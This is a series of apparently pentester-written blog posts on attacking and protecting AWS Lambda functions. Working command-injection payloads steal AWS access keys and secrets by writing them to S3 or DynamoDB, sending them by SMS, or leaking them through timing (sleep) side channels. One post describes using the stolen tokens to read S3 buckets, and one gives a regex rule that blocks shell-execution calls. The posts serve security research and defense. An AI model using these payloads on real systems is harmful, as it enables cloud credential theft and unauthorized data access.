Tuesday, October 30, 2018

Blind Lambda Event Injections without Outbound Connections (Part 3) – Extracting AWS Building Blocks

Lambda functions, integrated with various AWS components according to the design of serverless applications, can be a medium of various exploit scenarios if vulnerable. As discussed in the previous blog posts, a vulnerability in a lambda function (with or without outbound connections) can be identified through various methods. In this blog post, we will discuss the exploit scenarios which come into play once the vulnerability in the lambda function has been identified. Below are two major exploit area's: -

1.    Exploiting Backend – We use different methods (enumeration, tracing, fuzzing etc.) to identify that the lambda function is vulnerable to SQL injection. Once the vulnerability is identified, we inject attacks to exploit the vulnerability and fetch information about the back-end database, its tables etc. In this scenario, we are just leveraging and exploiting the weakness of the lambda function and not touching any other components in the overall infrastructure design.

2.    Exploiting AWS Components – We use different methods (enumeration, tracing, fuzzing etc.) to identify the overall architecture and information about the components integrated with serverless functions. Once the vulnerability is identified (for example command injection), we inject payloads to exploit the vulnerability and steal critical information like access keys/tokens/secret etc. Using this information we can try and access other components like S3 buckets in the serverless infrastructure (assuming that the infrastructure has poor permission controls). We will look at an exploit scenario that would arise by the combination of these two vulnerabilities – injection + poor permission controls.

Of course, there can be other areas beyond the ones mentioned above, which can also be exploited through leveraging information leaked from lambda functions.

Let’s take a simple use case that we used in a previous blog: - There is an invoice processing system where a user submits an invoice (by uploading a file, providing the file name, other basic information etc.) through an API gateway. Some activities are then triggered across other AWS components like S3 and DynamoDB and the message to queue the invoice processing gets posted to Amazon SQS service for asynchronous processing.


As discussed in the previous blog, when the lambda function is vulnerable to command injection, the function allows to extract parameters from the shell in which the lambda function is running. An attacker can simply inject a payload to set or extract environment variables and fetch the below parameters from shell: -

aws_access_key_id
aws_secret_access_key
aws_session_token

It is possible to extract these parameters via vulnerable lambda functions (with and without outbound connections).
Without outbound connection (here)
With outbound connection (here)

It is also imperative to understand permission structure of the lambda function within AWS. These three parameters hold a key, which can be considered as a permission token. Whatever permission is assigned to the lambda function is mapped to these tokens "temporarily". The tokens might be valid for few hours, after which they are refreshed – once refreshed, the tokens need to be grabbed again.

In this case, the lambda function interacts with AWS S3 (Bucket 1) as shown in the above figure. We do not know the permission controls implemented for the lambda function and S3 resources. We execute the below script (the tokens fetched above are passed for authentication/authorization purposes) to enumerate S3 buckets and their content for this account and find out: -



Bingo! As we can see below, we were able to list all S3 buckets and their content. Why? It seems that the lambda function might have access to all S3 buckets.



Further, we can now enumerate and fetch secret files from inside the buckets. We can even end up writing to the buckets, depending on the permissions. Let’s try to fetch a file using the below script: -

 

The above script establishes a connection with the extracted tokens and tries to fetch the file.

We are also successful in fetching the file. This file should not be accessible to us but we end up having it.

Hence, here we are successful in exploiting the vulnerability due to poor permission controls.

 

 Conclusion:

The permission controls implemented for lambda functions may not seem critical while executing the lambda function stand-alone or by looking at the features or from a developer standpoint but it might turn out to be catastrophic for the overall AWS infrastructure because of a combination of vulnerabilities.  It would not only lead to a compromise of the lambda function or backend details but would impact the overall application residing on that particular account. Who knows? – An attacker may end up getting access to secret buckets, sensitive DynamoDB tables, EC2 backups and files etc. Thus, permission controls should be well implemented across the complete infrastructure and not stand-alone lambda functions. We will cover more on permission structures and issues in the coming blog posts.

Article by Amish Shah & Shreeraj Shah

Wednesday, October 24, 2018

Blind Lambda Event Injections without Outbound Connections (Part 2)

In the previous blog post (here), we covered a simple technique to both discover and exploit serverless/lambda functions at blind spots without outbound connections in place. We concluded the following at the end of the article: - “It is imperative to identify injection points and fix the vulnerabilities at the source rather than relying on deploying ‘post exploitation’ solutions like blocking traffic or other OS level calls. Once a vulnerability is identified, an attacker can always find ways to mount attacks and exploit the identified vulnerability.”

As we have seen earlier, lambda functions, which are integrated in serverless applications, are not usually isolated and consume events from various components like Amazon S3, DynamoDB, SNS etc. as shown in the below figure. In this article, we will look into how an attacker can leverage serverless applications and components integrated to the functions to fetch information and detect vulnerabilities in spite of blocked outbound connections.

 

For this scenario, let's assume that the lambda function is integrated with various Amazon components according to the design pattern of serverless applications. We can enumerate the lambda function and identify which components are integrated with the function (an outbound connection is not required). Once the component is identified, we can use customized payloads according to the component for various use cases and check the results.

We have the following code in place – which processes the 'exec' command for fetching 'key3'. We are blindly checking for a command execution vulnerability in this piece of code, where the lambda function does not have any outbound connection.

def lambda_handler(event, context):
     …

     …

        exec(event['key3']);
     …


We will be passing the below payload or stream to the function in a normal scenario: -

{

"key3": "3";

}


Let’s take different use cases/design patterns for serverless applications and see how it can be leveraged during post exploitation.

Writing to Amazon S3

We can inject the below payload and push environment variables to the known-bucket. We can say that the command is successfully executed if the variables are written and we can read them all (no outbound connection is required).

{

"key3": "3; a = os.environ; import boto3; s3 = boto3.client('s3'); s3.put_object(Bucket=’known-bucket', Key=’known-bucket’, Body=str(a))",

}


Writing to Amazon DynamoDB


In the same manner as above, we can inject the below payload and check for successful execution of the command if the environment variables are written to the known-and accessible dynamodb (access via some other use case).

{

 "key3": "3; a = os.environ; import boto3; ddb = boto3.resource('dynamodb'); table = ddb.Table('known-location'); table.put_item(Item={'LocationId':4, 'Data': str(a)})",

}


Sending via SMS

We can inject the below payload and push environment variable like "access key" via SMS service to a specific number (no outbound connection is required)


{

 "key3": "3; a = os.environ['AWS_ACCESS_KEY_ID']; b = os.environ['AWS_SECRET_ACCESS_KEY']; import boto3; snsmsg = boto3.client('sns'); snsmsg.set_sms_attributes(attributes={'DefaultSMSType': 'Transactional'}); snsmsg.publish(PhoneNumber='+NUMBER’, Message=str(a+':'+b))",

}  
 

Conclusion:

We discussed three use cases in this post, but there might be more since lambda functions need to interact with several components across the AWS eco-system. The best practice to fix vulnerabilities is by resolving the vulnerabilities with secure coding practices and protecting against incoming malicious event streams. "Post-exploitation" solutions end up providing a sense-of-security but are not reliable defense solutions for protecting lambda functions.

Article by Amish Shah & Shreeraj Shah

Tuesday, October 16, 2018

Blind Lambda Event Injections without Outbound Connections

Serverless functions, like AWS Lambda, have similar injection opportunities as in traditional applications, API's and other components. It is usually difficult to identify blind spots and exploit this kind of vulnerabilities, though there are various tools and methods available to identify these blind spots. The most common methods to identify these issues are timing attacks and logical deduction scenarios using AND/OR operators. In many cases, we inject payloads which create an outbound connection and send data back to us through some channel. This kind of scenario confirms the vulnerability and can be exploited further. But there are cases where outbound connections are blocked, and the application does not send any clue in the response for identification of the vulnerability; which makes it a blind spot. The below image shows both the scenarios: -

 

Here is an example that we covered in an earlier post (here), where we injected a payload in the event stream of the lambda function and harvested the access key using an outbound connection.

 


Now, let's assume that we don't have this outbound connection in place. The lambda function blocks the connection. Not allowing an outbound connection can be considered as obfuscation and sense-of-security in place. It is possible to identify and exploit this type of scenario by considering it as a blind spot. Let’s try a timing attack to identify the spot and logical deduction to exploit the scenario.

We make a simple invocation to the function with a legitimate request as shown below: -

{
  "Records": [
    {
      "body": "invoice-98790",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


When we invoke the function we get the following response: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 72808401-cea9-11e8-903a-4506277d6e70
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 72808401-cea9-11e8-903a-4506277d6e70 Version: $LATEST
END RequestId: 72808401-cea9-11e8-903a-4506277d6e70
REPORT RequestId: 72808401-cea9-11e8-903a-4506277d6e70    Duration: 56.36 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 26 MB 
  

The above response shows that the time for this execution is Duration: 56.36 ms.

Now let us try to inject simple sleep command and see the variation in response time.

{
  "Records": [
    {
      "body": "invoice-98790;sleep 1",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We have put sleep of "1" second here in the payload ("body": "invoice-98790;sleep 1",)
We get the following response after invoking the function: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 58d200b7-ceaa-11e8-88c6-675555b6bf64
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64 Version: $LATEST
END RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64
REPORT RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64    Duration: 1123.26 ms    Billed Duration: 1200 ms     Memory Size: 128 MB    Max Memory Used: 26 MB


Here, we can see that it took almost 1 second more in responding back (Duration: 1123.26 ms). Hence, we can easily deduce that there is a blind spot and go on with playing around this vulnerability.

Since we don’t have an outbound connection in place, how we can get hold of the AWS key like we got using curl in previous case? Hence, we need to deploy a deduction technique and try to fetch it with multiple attempts.

Let’s try that out with the following payload in the body: -

invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'A' ]; then sleep 1; fi

Here, we are getting first character of the key and comparing it with 'A'. If it matches then we should get a sleep of 1 second else response should take regular time.

Let’s pass this message and invoke the function.

{
  "Records": [
    {
      "body": "invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'A' ]; then sleep 1; fi",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We get the following output after invocation: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc Version: $LATEST
END RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc
REPORT RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc    Duration: 1108.62 ms    Billed Duration: 1200 ms     Memory Size: 128 MB    Max Memory Used: 26 MB  
 


Bingo! As you can see we actually got a proper delay of 1 second (Duration: 1108.62 ms) in this case. Hence, we can say that the first character of the AWS key is indeed 'A'.

To verify, let’s send the same request with character 'B' as below: -

{
  "Records": [
    {
      "body": "invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'B' ]; then sleep 1; fi",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We get the following response: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> becf34b6-ceab-11e8-aeb2-17378d1ed705
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705 Version: $LATEST
END RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705
REPORT RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705    Duration: 106.76 ms    Billed Duration: 200 ms     Memory Size: 128 MB    Max Memory Used: 27 MB   


In this case response time is far less, approximately 1 second less (Duration: 106.76 ms). Hence, we can conclude that the value of the first character is 'A' and not any other.

This way we can send multiple requests and harvest full value of the AWS key without any outbound connection.

Conclusion:

It is imperative to identify injection points and fix the vulnerabilities at the source rather than relying on deploying "post exploitation" solutions like blocking traffic or other OS level calls. Once a vulnerability is identified, an attacker can always find ways to mount attacks and exploit the identified vulnerability.


Article by Amish Shah & Shreeraj Shah

Tuesday, October 9, 2018

Runtime Lambda Protection (Part 3) – "Self-Inspection"

Serverless functions, like AWS Lambda, are uniquely placed and transient in nature. These functions need a non-standard approach for both pentesting as well as defense. In the past blogs, we have covered the following two aspects for protecting lambda functions using the 'protectLambda' utility of the 'lambdaScanner' toolkit (can be downloaded from here).

1.    Runtime Lambda Protection – "Self Defense" from Inside (here)
2.    Runtime Lambda Protection (Part 2) – Monitoring, Analytics and Alerts (Real-Time) (here)

In this blog, we will be describing an enhancement of the 'protectLambda' utility through which we can validate the code of the lambda function just before its execution and allow/deny the execution of the function on the results of this validation. We can define a regular expression to check for loopholes in the code of the lambda function – every time the code would be checked against this regex and the execution of the function would be denied if a security violation is detected in the code. Below is a basic diagram of how the module of the 'protectLambda' utility will be placed in the overall architecture of the application; right before the execution of the function.

 

 

Leveraging "code_protect" Module:

In order to leverage this module, one needs to include the 'protectLambda' utility to their project. 'protectLambda' will wrap around the lambda function and monitor both incoming events as well as outgoing steams (described in earlier blog posts) and check the code of the function, at runtime, before its execution. This can be achieved by defining a regex in the file called "code_protect.txt" as shown in the figure below: -



One can define a set of rules, via regex, which will get validated before execution of the function at runtime. Hence, it will be like performing SAST at runtime.

For example, we define the following rule in "code_protect.txt": -

.*(call|check_output|system|popen|run|local|spawn).*\(.*

This rule will not allow the developer to use API/code, which can be used to run underlying command execution. We are covering most of the combinations of calls via above regular expression.

Let’s assume we have a function where developer is using the following line of code.

filetype = subprocess.check_output(command,shell=True).decode("utf-8")

Now, we have added the 'protectLambda' utility to the lambda function as shown below: -

 

If we try to invoke the lambda function now, we will get the following response: -

Response:
"Security Violation..."


Request ID:
"e9b59241-cbb5-11e8-ac44-058b44f83258"

Function Logs:
START RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258 Version: $LATEST
Code Rule violation for  .*(call|check_output|system|popen|run|local|spawn).*\(.*
END RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258
REPORT RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258    Duration: 88.89 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 22 MB  

Outcome/response of the function execution was as below: -

Response:
"Security Violation..."


We got a security violation alert since the developer has violated the rules of coding (according to the defined regex) and dangerous APIs/calls are used. In this case, we will also see the following line in the log: -

START RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258 Version: $LATEST
Code Rule Violation for .*(call|check_output|system|popen|run|local|spawn).*\(.*

In this way, the 'protectLambda' utility protects the execution of the function if the code is vulnerable using the rules defined through "code_protect.txt". Similar protection for the incoming event stream and outgoing responses through "in_protect.txt" and "out_protect.txt" respectively was discussed in an earlier blog post.

Conclusion:


The nature of lambda functions and the method through which the functions are triggered make the traditional defense solutions inappropriate for serverless functions. So, as the first line of defense, the 'protectLambda' utility can guard against the code of the function, incoming stream of events as well as outgoing responses through a pre-defined set of rules. This defense technique along with a proper logging and monitoring mechanism would be a comprehensive approach for the protection of lambda functions at run-time.

Article by Amish Shah and Shreeraj Shah